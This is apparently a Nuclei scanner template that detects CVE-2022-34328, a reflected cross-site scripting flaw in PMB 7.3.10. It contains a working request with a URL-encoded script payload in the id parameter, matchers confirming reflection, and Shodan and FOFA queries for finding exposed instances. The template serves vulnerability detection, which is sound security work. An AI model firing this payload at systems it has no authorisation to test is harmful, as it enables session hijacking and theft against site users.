id: CVE-2022-34328

info:
  name: PMB 7.3.10 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    PMB 7.3.10 contains a reflected cross-site scripting vulnerability via the id parameter in an lvl=author_see request to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PMB.
  reference:
    - https://github.com/jenaye/PMB/blob/main/README.md
    - https://github.com/jenaye/PMB
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34328
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-34328
    cwe-id: CWE-79
    epss-score: 0.0598
    epss-percentile: 0.90779
    cpe: cpe:2.3:a:sigb:pmb:7.3.10:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sigb
    product: pmb
    shodan-query:
      - http.html:"PMB Group"
      - http.html:"pmb group"
      - http.favicon.hash:1469328760
    fofa-query:
      - body="pmb group"
      - icon_hash=1469328760
  tags: cve,cve2022,pmb,xss,pmb_project,sigb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>' target='cart_info"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402203949b00e9201712bcc3963462734edc1cff020198ae784ad5901a7f77406ceb3022021f2b8e7a095d4474232aa3c571e5d6aeb853ff441b251051289a930b44e9575:922c64590222798bb761d5b6d8e72950